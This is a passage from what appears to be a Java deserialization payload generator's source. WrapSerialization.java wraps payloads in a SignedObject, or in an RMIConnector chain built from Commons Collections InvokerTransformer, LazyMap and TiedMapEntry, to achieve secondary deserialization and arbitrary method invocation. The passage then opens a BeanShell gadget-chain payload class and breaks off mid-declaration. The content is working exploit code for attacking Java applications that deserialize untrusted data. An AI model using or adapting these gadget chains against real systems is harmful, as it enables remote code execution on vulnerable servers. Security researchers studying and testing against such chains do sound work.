{
9 | public T getObject(SinksHelper sinksHelper) throws Exception;
10 | }
11 |
--------------------------------------------------------------------------------
/gadgets/src/main/java/com/ppp/chain/WrapSerialization.java:
--------------------------------------------------------------------------------
1 | package com.ppp.chain;
2 |
3 | import com.ppp.Printer;
4 | import com.ppp.sinks.SinksHelper;
5 | import com.ppp.sinks.annotation.EnchantEnums;
6 | import com.ppp.utils.RanDomUtils;
7 | import com.ppp.utils.Reflections;
8 | import org.apache.commons.collections.functors.ConstantTransformer;
9 | import org.apache.commons.collections.functors.InvokerTransformer;
10 | import org.apache.commons.collections.keyvalue.TiedMapEntry;
11 | import org.apache.commons.collections.map.LazyMap;
12 |
13 | import javax.management.remote.JMXServiceURL;
14 | import javax.management.remote.rmi.RMIConnector;
15 | import java.io.Serializable;
16 | import java.security.KeyPair;
17 | import java.security.KeyPairGenerator;
18 | import java.security.Signature;
19 | import java.security.SignedObject;
20 | import java.util.HashMap;
21 | import java.util.Map;
22 |
23 | /**
24 | * @author Whoopsunix
25 | *
26 | * 二次反序列化
27 | */
28 | public class WrapSerialization {
29 |
30 | public static Object scheduler(Object object, SinksHelper sinksHelper) throws Exception {
31 | EnchantEnums wrapSerialization = sinksHelper.getWrapSerialization();
32 |
33 | if (wrapSerialization.equals(EnchantEnums.SignedObject)) {
34 | object = signedObject(object);
35 | Printer.yellowInfo("Wrap Serialization by SignedObject");
36 | } else if (wrapSerialization.equals(EnchantEnums.RMIConnector)) {
37 | object = rmiConnector(object);
38 | }
39 | return object;
40 | }
41 |
42 | /**
43 | * getter 方法调用 getObject
44 | *
45 | * @param object
46 | * @return
47 | * @throws Exception
48 | */
49 | public static Object signedObject(Object object) throws Exception {
50 | KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
51 | kpg.initialize(1024);
52 | KeyPair kp = kpg.generateKeyPair();
53 | SignedObject signedObject = new SignedObject((Serializable) object, kp.getPrivate(),
54 | Signature.getInstance("DSA"));
55 | return signedObject;
56 | }
57 |
58 | /**
59 | * 任意方法调用 connect
60 | * 需要任意方法调用
61 | *
62 | * @param object
63 | * @return
64 | * @throws Exception
65 | */
66 | public static Object rmiConnector(Object object) throws Exception {
67 | String s = RanDomUtils.generateRandomString(1);
68 |
69 | JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
70 | Reflections.setFieldValue(jmxServiceURL, "urlPath", "/stub/" + object);
71 | RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
72 |
73 | /**
74 | * 以下为任意方法调用
75 | */
76 | InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
77 | HashMap map = new HashMap();
78 | Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
79 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
80 |
81 | HashMap hashMap = new HashMap();
82 | hashMap.put(tiedMapEntry, s);
83 | lazyMap.remove(rmiConnector);
84 |
85 | Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
86 |
87 | return hashMap;
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/gadgets/src/main/java/com/ppp/chain/beanshell/BeanShell1.java:
--------------------------------------------------------------------------------
1 | package com.ppp.chain.beanshell;
2 |
3 | import bsh.Interpreter;
4 | import bsh.XThis;
5 | import com.ppp.ObjectPayload;
6 | import com.ppp.annotation.Authors;
7 | import com.ppp.annotation.Dependencies;
8 | import com.ppp.secmgr.PayloadRunner;
9 | import com.ppp.sinks.SinksHelper;
10 | import com.ppp.sinks.annotation.Sink;
11 | import com.ppp.utils.RanDomUtils;
12 | import com.ppp.utils.Reflections;
13 | import com.ppp.utils.Strings;
14 |
15 | import java.lang.reflect.InvocationHandler;
16 | import java.lang.reflect.Method;
17 | import java.lang.reflect.Proxy;
18 | import java.util.Arrays;
19 | import java.util.Comparator;
20 | import java.util.PriorityQueue;
21 |
22 |
23 | @Dependencies({"org.beanshell:bsh:2.0b5"})
24 | @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
25 | @Sink({Sink.Default})
26 | public class BeanShell1 implements ObjectPayload